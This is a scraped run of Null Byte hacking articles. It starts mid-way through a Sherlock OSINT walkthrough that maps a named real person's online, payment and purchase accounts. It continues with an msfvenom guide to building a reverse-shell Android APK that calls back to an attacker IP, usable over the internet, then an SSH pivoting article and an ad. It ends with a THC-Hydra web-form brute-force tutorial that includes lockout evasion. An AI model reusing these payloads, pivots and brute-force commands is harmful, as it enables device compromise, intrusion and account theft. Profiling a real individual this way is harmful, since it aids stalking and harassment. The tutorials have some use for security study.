https://open.spotify.com/user/neilbreen [+] Steam: https://steamcommunity.com/id/neilbreen [+] SteamGroup: https://steamcommunity.com/groups/neilbreen [+] SlideShare: https://slideshare.net/neilbreen [+] Medium: https://medium.com/@neilbreen [-] Error Connecting: Scribd [-] Scribd: Error! [+] Academia.edu: https://independent.academia.edu/neilbreen [+] 9GAG: https://9gag.com/u/neilbreen [-] Error Connecting: GoodReads [-] GoodReads: Error! [+] Wattpad: https://www.wattpad.com/user/neilbreen [+] Bandcamp: https://www.bandcamp.com/neilbreen [+] Giphy: https://giphy.com/neilbreen [+] last.fm: https://last.fm/user/neilbreen [+] AskFM: https://ask.fm/neilbreen [+] Disqus: https://disqus.com/neilbreen [+] Tinder: https://www.gotinder.com/@neilbreen [-] Error Connecting: Kongregate [-] Kongregate: Error! [+] Letterboxd: https://letterboxd.com/neilbreen [+] 500px: https://500px.com/neilbreen [+] Newgrounds: https://neilbreen.newgrounds.com [-] Error Connecting: Trip [-] Trip: Error! [+] Venmo: https://venmo.com/neilbreen [+] NameMC (Minecraft.net skins): https://namemc.com/profile/neilbreen [+] Repl.it: https://repl.it/@neilbreen [-] Error Connecting: StreamMe [-] StreamMe: Error! [+] CashMe: https://cash.me/neilbreen [+] Kik: https://ws2.kik.com/user/neilbreenAside from this output, we've also got a handy text file that's been created to store the results. Now that we have some links, let's get creepy and see what we can find from the results.Step 4: Check Target List for More CluesTo review our target list, typelsto locate the text file that was created. It should be, in our example,neilbreen.txt.~/sherlock$ ls CODE_OF_CONDUCT.md install_packages.sh __pycache__ screenshot tests CONTRIBUTING.md LICENSE README.md sherlock.py data.json load_proxies.py removed_sites.md site_list.py Dockerfile neilbreen.txt requirements.txt sites.mdWe can read the contents by typing the followingcatcommand, which gives us plenty of URL targets to pick from.~/sherlock$ cat neilbreen.txt https://plus.google.com/+neilbreen https://www.facebook.com/neilbreen https://www.twitter.com/neilbreen https://vk.com/neilbreen https://www.reddit.com/user/neilbreen https://m.twitch.tv/neilbreen https://www.ebay.com/usr/neilbreen https://imgur.com/user/neilbreen https://www.pinterest.com/neilbreen/ https://open.spotify.com/user/neilbreen https://steamcommunity.com/id/neilbreen https://steamcommunity.com/groups/neilbreen https://slideshare.net/neilbreen https://medium.com/@neilbreen https://independent.academia.edu/neilbreen https://9gag.com/u/neilbreen https://www.wattpad.com/user/neilbreen https://www.bandcamp.com/neilbreen https://giphy.com/neilbreen https://last.fm/user/neilbreen https://ask.fm/neilbreen https://disqus.com/neilbreen https://www.gotinder.com/@neilbreen https://letterboxd.com/neilbreen https://500px.com/neilbreen https://neilbreen.newgrounds.com https://venmo.com/neilbreen https://namemc.com/profile/neilbreen https://repl.it/@neilbreen https://cash.me/neilbreen https://ws2.kik.com/user/neilbreenA few of these we can rule out, like Google Plus, which has now shut down. Others can be much more useful, depending on the type of result we get. Due to Neil Breen's international superstar status, there are many fan accounts sprinkled in here. We'll need to use some common-sense techniques to rule them out while trying to locate more information about this living legend.First, we see that there is a Venmo and Cash.me account listed. While these don't pan out here, many people leave their Venmo payments public, allowing you to see who they are paying and when. In this example, it appears this account was set up by a fan to accept donations on behalf of Neil Breen. A dead end.Next, we move down the list, which is organized by a ranking of which sites are most popular. Here, we see an account that's more likely to be a personal account.The link above also takes us to a very insecure website for a Neil Breen movie called "Pass-Thru" which could, and probably does, have many vulnerabilities.Don't Miss:How to Use Facial Recognition to Conduct OSINT AnalysisA reverse image search of Neil's Letterboxd and Twitter profile images also locate another screen name the target uses:neil-breen. It leads back to an active Quora account where the target advises random strangers.Already, we've taken one screen name, and through the profile image, found another screen name that we didn't initially know about.Another common source of information are websites people use to share information. Things like SlideShare or Prezi allow users to share presentations that are visible to the public.If the target has made any presentations for work or personal reasons, we can see them here. In our case, we didn't find much. But a search through the Reddit account we found shows that the account dates back to before Neil Breen got huge.The first post is promoting his movie, so that plus the age of the account means it's likely this one is legit. We can see that Neil likes Armani exchange, struggles with technology, and is trying to get ideas for where to set his next movie.Finally, our crown gem is an active eBay account, which allows us to see many things Neil buys and read reviews from sellers he's had transactions with.The info here lets us dig into hobbies, professional projects, and other details leaked through purchases verified by eBay and listed publicly under that screen name.Sherlock Can Connect the Dots Across User AccountsAs we found during our sample investigation, Sherlock provides a lot of clues to locate useful details about a target. From Venmo financial transactions to alternative screen names found through searching for favorite profile photos, Sherlock can bring in a shocking amount of personal details. The next step in our investigation would be to rerun Sherlock with the new screen names we've located during our first run, but we'll leave Neil alone for today.I hope you enjoyed this guide to using Sherlock to find social media accounts! If you have any questions about this tutorial on OSINT tools, leave a comment below, and feel free to reach me on [email protected]'t Miss:Use the Buscador OSINT VM for Conducting Online InvestigationsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Kody/Null ByteRelatedHack Like a Pro:The Ultimate Social Engineering HackHow To:Dox AnyoneNews:Google's New Group Messaging App Is Like Pinterest & Hangouts in OneVSCO 101:How to Publish Photos to All Your Social Media AccountsHow To:Create a Hootsuite Mac App to Manage All Your Social Media Accounts from Your DesktopNews:Which Actor Is the Best Sherlock Holmes?How To:Become Anonymous & Browse the Internet SafelyHow To:Add More Context to Selfies Using Both Front & Rear Cameras on Your Galaxy S3How To:Find OSINT Data on License Plate Numbers with SkiptracerHow To:Lock Down Your Social Media Accounts with These 7 Useful Security TipsHow To:Make the Perfect Finsta That No One Will Ever FindNews:What Is Social Media Day?How To:Share Clips of Your Favorite TV Moments with FriendsHow To:Post to Multiple Social Networks at the Same Time on AndroidHow To:Manage Stored Passwords So You Don't Get HackedHow To:Secure Your Instagram Account by Adding 2-Factor Authentication & Managing Privacy SettingsHow To:Gathering Sensitive Information: How a Hacker Doesn't Get DoXedHow To:log on Windows 7 with username & passwordHow To:Make a Gmail Notifier in PythonNews:Holmes for the HolidaysNews:Should Kids Be Allowed to Use Facebook and Google+?How To:Edit Your Google+ Account SettingsNews:Linking His Twitter Account to His Facebook AccountNews:Play old SEGA/NES games on the new RetroN 3 ConsoleRemove Your Online Identity:The Ultimate Guide to Anonymity and Security on the InternetHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreNews:Homeland Security is watching YOUSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersNews:Are you Using the Power of Social MediaListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)News:Planning a Scavenger Hunt Based on AgeNews:Planning a Scavenger Hunt Based on Age: Part 4News:What Social Network Should You Use? Use the Social Network Decision Tree!News:Laying the Foundation pt.1News:Planning a Scavenger Hunt Based on Age: Part 2News:ShouldIChangeMyPassword.comHow To:Truffle Hunting GuideNews:Remote Chrome Password Stealer
Hack Android Using Kali (UPDATED and FAQ) « Null Byte :: WonderHowTo
Hello My Fellow Hackerzz.. This is my first How-to and i'll be updating the "Hacking Android Using Kali" to msfvenom and some FAQ about known problems from comments. So Here we GO!!For Anything With a *, Please See The FAQ for More Info..MSFVenommsfvenom -p android/meterpreter/reverse_tcp LHOST=186.57.28.44 LPORT=4895 R >/root/FILENAME.apk•-p =>Specify Payload•LHOST =>Your IP* or DDNS•LPORT =>Port You want to listen on•R =>Means RAW Format•>/root/FILENAME.apk =>Location for FileNOTE – There Will be some error about architecture but its ok, let it be.Easy As That!!ListenerNow before running that app on your android phone, you have to start a handler. You can do that using –msfconsoleuse exploit/multi/handlerset payload android/meterpreter/reverse_tcpset LHOST 186.57.28.44 *set LPORT 4895exploitNow Run the app on your android phone and you'll get a meterpreter session opened!!NOTE – Before installing the app, Please tick "Allow installation from Unknown Sources" from Settings.FAQ1) HOW TO HACK ON WAN (NOT ON YOUR OWN WIFI/NETWORK)*It's really easy and almost the same.First You Need to get your public IP. You can find that fromTHIS WEBSITE.You also need your private ip. Use ifconfig command in terminal to get that.Now There are just two small changes in the above stepsi) In the msfvenom command, in LHOST, you need to enter your 'PUBLIC IP'ii) When creating a listener/handler, in LHOST, you need to enter your 'PRIVATE IP'That's IT!!NOTE – You Need To Port forward The Port you used in your modem/router or it won't work.2) Apk File made from msfvenom is 0 kbThat means you have some spelling or syntax error. Please recheck the command you entered, if its correct, recheck again!!3) In Phone – Cannot Parse PackageTry Another File Manager, Download a free one from google store!!4) In Phone – App Not InstalledYou May Need to Sign Your APK file, newer android versions may give error. Refer to this site, and go to last to see steps on manually signing.LINK HERE5) Kali as Virtual MachineVirtual Box is known to cause problems, so use VMWare if possible. Also Please DONT USE NAT MODE, USE BRIDGED!!If There's Any other problem, type in the comment!! I'll try my best to help!!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Create a Smartphone Pentesting LabAndroid for Hackers:How to Turn an Android Phone into a Hacking Device Without RootHow To:Hack Android Using Kali (Remotely)How To:Build and Install Kali Nethunter (The New Version) On a Supported Android Device Running Android 6.0.1Hacking Android:How to Create a Lab for Android Penetration TestingHow To:Kali Is Your New Pet; The Ultimate Guide About Kali Linux Portability.How To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationPSA:Updating to Nougat Through the Android Beta Program Is RiskyNews:Huge iPhone Security Flaw Reveals One Big Benefit iOS Has Over AndroidNews:Chevy Annouces Free Update That Brings Android Auto to 12 More Cars & TrucksNews:Jeremy P's Blog - Tubulum FAQHow To:KALI Linux 6 Things You Should Do After Installing
How to Use SSH Local Port Forwarding to Pivot into Restricted Networks « Null Byte :: WonderHowTo
SSH is a powerful tool with more uses than simply logging into a server. This protocol, which stands for Secure Shell, provides X11 forwarding, port forwarding, secure file transfer, and more. Using SSH port forwarding on a compromised host with access to a restricted network can allow an attacker to access hosts within the restricted network or pivot into the network.In this article, we'll look at one of the SSH port forwarding options, local port forwarding. Since this can be somewhat confusing, I'd like to talk a little bit about the idea of port forwarding first.Why Port Forwarding Is ImportantWhen we think of port forwarding, we usually think of it in the terms of a router. With a typical home internet setup, the router is connected to the WAN (wide area network), and it will have an IP address assigned by the ISP (internet service provider). On the other side of the router, you have your LAN (local area network). Hosts within the LAN are generally assigned IP addresses by the router.In most home setups, the router also acts as a firewall, allowing outboundTCPconnections and killing inbound connections. If you want to access a service on a machine within your local network, you will have to configure the router to forward connections on that port to your machine. This means that the entirety of the internet would have access to that service on your internal (or local) network. The router will take the incoming traffic destined for your service and forward it right on to your machine.Don't Miss:Hacker Fundamentals, a Tale of Two StandardsNow, let's expand on this a bit. Let's say the network is a little larger. We could have a Wi-Fi network for the public to use and another network for staff to use. All of the hosts would be connected to a gateway and segmented by the network. Like in our home example, we have one WAN connection, except this time we have two LANs. The router keeps the traffic from the public network from accessing the staff network.When SSH Port Forwarding Comes in HandyIf you have administrative control of the router, you can configure it to forward traffic into the staff network. But what if you don't have administrative control? Maybe you have a low-level user account and can SSH in, but you can't access the admin panel and you can't modify any of the settings.This is where SSH port forwarding comes in; we can use it to forward our traffic into a network we normally wouldn't be able to access, thus pivoting into the network. This doesn't just work on routers, this works on any node with SSH enabled and access to two or more internal networks.Let's Take a Look at This in ActionIn one scenario, we are connected to a publicperimeter network(demilitarized zone, or DMZ) at a local university. Through enumeration, we have discovered that the firewall is running SSH with extremely weak credentials. We're coming from the DMZ, and our target is the intranet. The only thing standing in our way is the firewall, which we can log in to via SSH, but our captured account isn't privileged enough to change any settings.The firewall protects the intranet (university staff hosts, the target) from external malicious traffic, but allows both networks access to the internet. We are unable to connect to hosts in the LAN from the DMZ, and based on the ease of access to the firewall, I suspect the hosts on the LAN are incredibly soft. Weak credentials combined with a lot of administrators not treating their internal networks as hostile means the security on the hosts within the LAN should be next to none.Image by Pbroks13/Wikimedia CommonsSince it's an internal staff network, it probably contains or has access to quite a bit of confidential information. If we're conducting a penetration test as a white hat, we want to be able to put that confidential information in a report. If we're black or gray hats, we might be looking to exfiltrate, change, or delete that data. The question is how do we get access?In order to access the internal network, we're going to have to get tricky and pivot into it, since we can't directly connect to it. This is where SSH port forwarding comes in handy.Step 1: The SetupIn this situation, we have three machines — our attacking machine, the firewall, and a host within the internal network. In a real engagement, there will usually be more than one machine on the internal network, but for learning purposes, all we need is one machine.My attacking machine is on the 192.168.1.0/24 network, which represents the DMZ network. The firewall is accessible as a gateway from the DMZ on the same network. It is also accessible as a gateway from the internal network, which is in the 192.168.56.0/24 range. These addresses are represented usingCIDRnotation.Our network.The goal here is to be able to discover and attack hosts within the internal network from the DMZ network. Since we can't just connect directly to a host within the internal network, we will use the DMZ firewall's SSH service to reroute our traffic into the internal network.Many beginners are not aware of the full feature set of SSH. Without a pivot into the internal network, an attacker would be totally reliant on the toolset contained on the compromised firewall. Which is likely extremely limited. Sometimes you'll getNmapif you're lucky. An attack could be carried out in this manner, but it's much easier to work with a large toolkit like the one included in Kali Linux. Tools likeMetasploitcan really make things easier.Don't Miss:Getting Started with MetasploitTo simulate this setup, I configured a virtual machine within the compromised host with a host-only adapter. This makes the victim non-routable by traffic on my DMZ network. If you want to try this at home, simply create a Linux virtual machine with SSH enabled inVirtualBoxand configure the network adapter to host only. The host operating system will need to have SSH enabled, and you will need another machine to access the host operating systems SSH service.When all the configuration is done, we should have a setup that looks like this:What happens when the attacking machine attempts to ping the guest machine? We can't route traffic to the victim machine, but we can access the host machine via SSH, and that's all we need.Here, we see that the attacking host cannot route to the vboxnet0 network.Don't Miss:How to Pivot from a Victim System to Own Every Computer on the NetworkStep 2: Gathering InformationBefore I can properly pivot in the network, it's probably a good idea to have a look at what I have access to via the firewall. I open a terminal and login with SSH by typing the following, replacingvictimmachinewith the IP address of the victim computer we have access to.ssh user@victimmachineI didn't post the full output of the ifconfig here since my machine has quite a few interfaces and the full output would be confusing. Since I set up these networks, I know the interface that we are targeting. If this were an actual penetration test, part of the post-enumeration of hosts is gathering connected interfaces, just in case there is a pivot available there. If there are multiple connected network interfaces, you should be able to pivot into any of those networks.Step 3: Local Port ForwardingUsing our SSH connection to the firewall, it's advised to do a bit of network recon. You will want to discover what hosts are active within the internal network. If you're lucky, Nmap will be installed on the compromised firewall, otherwise, you may have to resort a manual approach. The manual approach would be writing a ping sweep bash script (which will not spot machines with ping blocked). For this example, there is only one machine running on the network, and port 80 (HTTP) is open.Web applications are often an excellent attack vector. Depending on the owner of the process, a web application could return a low privilege shell all the way up to an admin shell. Except I have limited information. I know there is a web server running on the host in the internal network, I just don't know what it is.In order to learn more about this web application, I will configure a local port forward to the application using the following command.ssh -L 8080:internalTarget:80 user@compromisedMachineThe-Loption specifies that connections to the given TCP port on the local host are to be forwarded to the given host and port on the remote side. This allows us access to the internal network via the compromised firewall.In our case. the internal network is anything behind the vboxnet0 interface. More technically, this command creates an SSH tunnel using your local port 8080 to connect to the internal target machine through the firewall. SSH will listen on localhost port 8080 for any connections. When it receives a connection, it will tunnel data to an SSH server, in this case, our compromised firewall. The compromised firewall then connects to the target server and port returning data back across our SSH tunnel.When executing this command, you get a standard interactive SSH connection to the firewall, as well as port forwarding. If you don't want the shell, you can change the argument in your command to-NTL. TheNargument tells SSH to not execute a remote command, and theTargument tells SSH to disable pseudo-terminal allocation.Don't Miss:How to Use Remote Port Forwarding to Slip Past Firewall Restrictions UnnoticedUsing a simple SSH command, we have pivoted into an internal network that would normally not be accessible to us. This allows us to use our own toolkit instead of relying on the initially compromised host to have what we need.Of course, we aren't limited to forwarding HTTP. We can forward any port on the internal machine, including SSH, providing we know the port of the service we are attempting to forward.It's as easy as changing a port number in our SSH command. Below, we forward the SSH service on the victim machine back to our local port 8080. This would allow us to brute force SSH or try credentials for login if we have them.ssh -L 8080:internalTarget:22 user@compromisedMachineLocal port forwarding is a great way to pivot into internal networks. It is also an excellent way to bypass network restrictions, such as a block on web traffic to Null Byte! Some networks, for example, may be locked down to only allow traffic to exit via a few limited ports. As an added bonus, all traffic we generate from the local host to SSH server is encrypted.In the next article, we'll be looking at remote port forwarding. It's similar to what we're doing with local port forwarding, but as always with traffic redirection, it's a brain twister. So make sure to keep an eye out for that guide in the future.As always, questions or comments you can reach me on [email protected]'t Miss:How to SSH into Your Raspberry Pi Using a USB-to-TTL Serial CableFollow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Barrow/Null ByteRelatedHow To:Use Remote Port Forwarding to Slip Past Firewall Restrictions UnnoticedHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHow To:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkHow To:Run Your Favorite Graphical X Applications Over SSHHow To:Enable the New Native SSH Client on Windows 10How To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)How To:Punchabunch Just Made SSH Local Forwarding Stupid EasyHow To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesSPLOIT:How to Make an SSH Brute-Forcer in PythonHow To:Create a Native SSH Server on Your Windows 10 SystemHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Share Your LAN Minecraft World with Your Linux-Savvy FriendsHow To:Configure Port Forwarding to Create Internet-Connected ServicesHow To:Port Forwarding for NewbiesHow To:Perform an Attack Over WAN (Internet)How To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Protect Your Mac & Linux Computers from Hacks by Creating an iptables FirewallHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningHow To:Run an FTP Server from Home with LinuxHow To:Share Your Laptop's Wireless Internet with Ethernet DevicesHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapMastering Security, Part 2:How to Create a Home VPN TunnelUDP Flooding:How to Kick a Local User Off the NetworkHow To:Use Tortunnel to Quickly Encrypt Internet TrafficHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for Linux
This 5-Course Data Analytics Bundle Is Just $49 Today « Null Byte :: WonderHowTo
Few things are more important than being well-versed in data analytics and interpretation when it comes to succeeding in today's increasingly data-driven world. As a data scientist, these skills are the key to a high-paying career. For hackers, there's no better way to defeat the enemy than to become the enemy.Whether you're a white hat trying to save the world from unprotected data or you're trying to take down nefarious hackers by writing programs that can retaliate against cyber threats, knowing how to work with and analyze massive data sets is paramount. It's also helpful if you're trying to land a more conventional job at Google or another big tech conglomerate.TheData Analytics Expert Certification Bundlewill get you up to speed with both the overarching methodologies of data management and analytics, along with its more relied-upon tools — includingPython,Tableau, Excel, and MongoDB — all for just $49.This five-course bundle features 74 lessons that break down the essential elements of data analysis, which will help you make better business decisions across the board. It's great whether you aim to be the best data scientist out there or a penetration tester or ethical hacker trying to beat the best data scientists.If you're new to the field, start with the Introduction to Data Analytics Training Course, which offers valuable insights into applying a wide range of analytical principles to any business. You'll also learn how to define practical objectives for your projects, work with different types of data, and create various analytics adoption frameworks.With the basics under your belt, you'll be able to move on to more focused training that revolves around specific platforms and programming languages.There's the Tableau Certification Training Course that walks you through everything you need to know to create compelling visualizations of complex data sets, the Data Science with Python Training Course that teaches you how to use this powerful language in a variety of machine learning and data-extraction settings, and the Business Analytics Certification Training with Excel course that will teach you how to take advantage of everything this incredibly versatile program has to offer both at home and in the office.Finally, the MongoDB Developer & Administrator Certification Training module will complete your data science education by taking you on a deep dive through NoSQL, data modeling, ingestion, query, and data replication.Become an invaluable number-crunching pro with help from the Data Analytics Expert Certification Bundle forjust $49— over 95% off its usual price right now.Prices are subject to change.Learn the Skills Today:Data Analytics Expert Certification Bundle for $49Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byDaniil Peshkov/123RFRelatedHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:Become a Big Data Expert with This 10-Course BundleHow To:You Can Learn the Data Science Essentials at Home in Just 14 HoursHow To:Become an In-Demand Data Scientist with 140+ Hours of TrainingHow To:Harness the Power of Google Analytics with This $20 TrainingHow To:Master Adobe's Top Design Tools for Under $50 Right NowHow To:Take Your Productivity to the Next Level with This Google Masterclass BundleHow To:Supercharge Your Excel Skills with This Expert-Led BundleHow To:These Excel Courses Can Turn You into an In-Demand Data WizHow To:Harness the Power of Big Data with This eBook & Video Course BundleDeal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:It's Time to Finally Learn Microsoft Excel & Power BI — This Training Deal Is Too Good to Pass UpHow To:Here's the Ultimate Guide to Becoming a Data NinjaNews:Now's the Perfect Time to Brush Up on Your Excel SkillsHow To:Prep for a Lucrative Project Management Career with These CoursesHow To:Hack Your Business Skills with These Excel CoursesHow To:Learn How to Play the Market with This Data-Driven Trading BundleHow To:Become a Data Wizard with This Microsoft Excel & Power BI TrainingHow To:Understand Math Like an Engineer for Under $30How To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35How To:Expand Your Analytical & Payload-Building Skill Set with This In-Depth Excel TrainingHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Harness the Power of Big Data with This 10-Course BundleHow To:Prevent iOS 11 from Automatically Sharing Your Location with AppleHow To:Get Project Manager Certifications with Help from Scrum, Agile & PMPHow To:This Extensive Python Training Is Under $40 TodayHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleDeal Alert:Grab This Microsoft Office Beginner's Guide for Only $35How To:Become a Productivity Master with Google Apps ScriptHow To:Broaden Your Mac's Horizons with This 5-App BundleHow To:Boost Your Productivity with This Mind-Mapping ToolHow To:Learn How to Create Fun PC & Mobile Games for Under $30How To:Become a Productive Microsoft Apps Power User with 97% Off This Course BundleHow To:Learn Any of Rosetta Stone's 24 Languages with This Incredible App BundleHow To:Learn How to Speculate & Make Money as a Day Trader While You're Stuck at HomeHow To:Learn to Draw Like a Pro for Under $40How To:Learn the Essentials of Accounting to Boost Profit Margins in Your Small BusinessHow To:Harness the Power of Big Data with This 10-Course BundleHow To:Become an In-Demand Web Developer with This $29 TrainingHow To:Learn the Ins & Outs, Infrastructure & Vulnerabilities of Amazon's AWS Cloud Computing Platform
Hack Like a Pro: How to Crack Online Web Form Passwords with THC-Hydra & Burp Suite « Null Byte :: WonderHowTo
Welcome back, my hacker novitiates!Inan earlier tutorial, I had introduced you to two essential tools for cracking online passwords—Tamper Data and THC-Hydra. In that guide, I promised to follow up with another tutorial on how to use THC-Hydra against web forms, so here we go. Although you can use Tamper Data for this purpose, I want to introduce you to another tool that is built into Kali, Burp Suite.Step 1: Open THC-HydraSo, let's get started. Fire upKaliand open THC-Hydra from Applications -> Kali Linux -> Password Attacks -> Online Attacks -> hydra.Step 2: Get the Web Form ParametersTo be able to hack web form usernames and passwords, we need to determine the parameters of the web form login page as well as how the form responds to bad/failed logins. The key parameters we must identify are the:IP Address of the websiteURLtype of formfield containing the usernamefield containing the passwordfailure messageWe can identify each of these using a proxy such as Tamper Data or Burp Suite.Step 3: Using Burp SuiteAlthough we can use any proxy to do the job, including Tamper Data, in this post we will use Burp Suite. You can open Burp Suite by going to Applications -> Kali Linux -> Web Applications -> Web Application Proxies -> burpsuite. When you do, you should see the opening screen like below.Next, we will be attempting to crack the password on the Damn Vulnerable Web Application (DVWA). You can run it from the Metasploitable operating system (available at Rapid7) and then connecting to its login page, as I have here.We need to enable theProxyandIntercepton the Burp Suite like I have below. Make sure to click on theProxytab at the top and thenIntercepton the second row of tabs. Make certain that the "Intercept is on."Last, we need to configure our IceWeasel web browser to use a proxy. We can go to Edit -> Preferences -> Advanced -> Network -> Settings to open the Connection Settings, as seen below. There, configure IceWeasel to use 127.0.0.1 port 8080 as a proxy by typing in 127.0.0.1 in theHTTP Proxyfield, 8080 in thePortfield and delete any information in theNo Proxy forfield at the bottom. Also, select the "Use this proxy server for all protocols" button.Step 4: Get the Bad Login ResponseNow, let's try to log in with my username OTW and password OTW. When I do so, the BurpSuite intercepts the request and shows us the key fields we need for a THC-Hydra web form crack.After collecting this information, I then forward the request from Burp Suite by hitting the "Forward" button to the far left . The DVWA returns a message that the "Login failed." Now, I have all the information I need to configure THC-Hydra to crack this web app!Getting the failure message is key to getting THC-Hydra to work on web forms. In this case, it is a text-based message, but it won't always be. At times it may be a cookie, but the critical part is finding out how the application communicates a failed login. In this way, we can tell THC-Hydra to keep trying different passwords; only when that message does not appear, have we succeeded.Step 5: Place the Parameters into Your THC Hydra CommandNow, that we have the parameters, we can place them into the THC-Hydra command. The syntax looks like this:kali > hydra -L <username list> -p <password list> <IP Address> <form parameters><failed login message>So, based on the information we have gathered from Burp Suite, our command should look something like this:kali >hydra -L <wordlist> -P<password list>192.168.1.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"A few things to note. First, you use the upper case "L" if you are using a username list and a lower case "l" if you are trying to crack one username that you supply there. In this case, I will be using the lower case "l " as I will only be trying to crack the "admin" password.After the address of the login form (/dvwa/login.php), the next field is the name of the field that takes the username. In our case, it is "username," but on some forms it might be something different, such as "login."Now, let's put together a command that will crack this web form login.Step 6: Choose a WordlistNow, we need to chose a wordlist. As with any dictionary attack, the wordlist is key. You can use a custom one made withCrunchofCeWL, but Kali has numerous wordlists built right in. To see them all, simply type:kali > locate wordlistIn addition, there are numerous online sites with wordlists that can be up to 100 GB! Choose wisely, my hacker novitiates. In this case, I will be using a built-in wordlist with less than 1,000 words at:/usr/share/dirb/wordlists/short.txtStep 7: Build the CommandNow, let's build our command with all of these elements, as seen below.kali > hydra -l admin -P /usr/share/dirb/wordlists/small.txt 192.168.1.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V-lindicates a single username (use-Lfor a username list)-Pindicates use the following password listhttp-post-formindicates the type of form/dvwa/login-phpis the login page URLusernameis the form field where the username is entered^USER^tells Hydra to use the username or list in the fieldpasswordis the form field where the password is entered (it may be passwd, pass, etc.)^PASS^tells Hydra to use the password list suppliedLoginindicates to Hydra the login failed messageLogin failedis the login failure message that the form returned-Vis for verbose output showing every attemptStep 8: Let Her Fly!Now, let her fly! Since we used the-Vswitch, THC-Hydra will show us every attempt.After a few minutes, Hydra returns with the password for our web application. Success!Final ThoughtsAlthough THC-Hydra is an effective and excellent tool for onlinepassword cracking, when using it in web forms, it takes a bit of practice. The key to successfully using it in web forms is determining how the form responds differently to a failed login versus a successful login. In the example above, we identified the failed login message, but we could have identified the successful message and used that instead. To use the successful message, we would replace the failed login message with "S=successful message" such as this:kali > hydra -l admin -P /usr/share/dirb/wordlists/small.txt 192.168.1.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&S=success message" -VAlso, some web servers will notice many rapid failed attempts at logging in and lock you out. In this case, you will want to use the wait function in THC-Hydra. This will add a wait between attempts so as not to trigger the lockout. You can use this functionality with the-wswitch, so we revise our command to wait 10 seconds between attempts by writing it:kali > hydra -l admin -P /usr/share/dirb/wordlists/small.txt 192.168.1.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -w 10 -VI recommend that you practice the use of THC-Hydra on forms where you know the username and password before using it out "in the wild."Keep coming back, my hacker novitiates, as we continue to expand your repertoire of hacker techniques and arts!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Crack Online Passwords with Tamper Data & THC HydraHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Hack Web Apps, Part 4 (Hacking Form Authentication with Burp Suite)Hack Like a Pro:How to Hack Web Apps, Part 3 (Web-Based Authentication)How To:Brute-Force Email Using a Simple Bash Script (Ft. THC Hydra)Hack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHow To:Using Hydra 5.4 to crack FTP passwordsHow To:Leverage a Directory Traversal 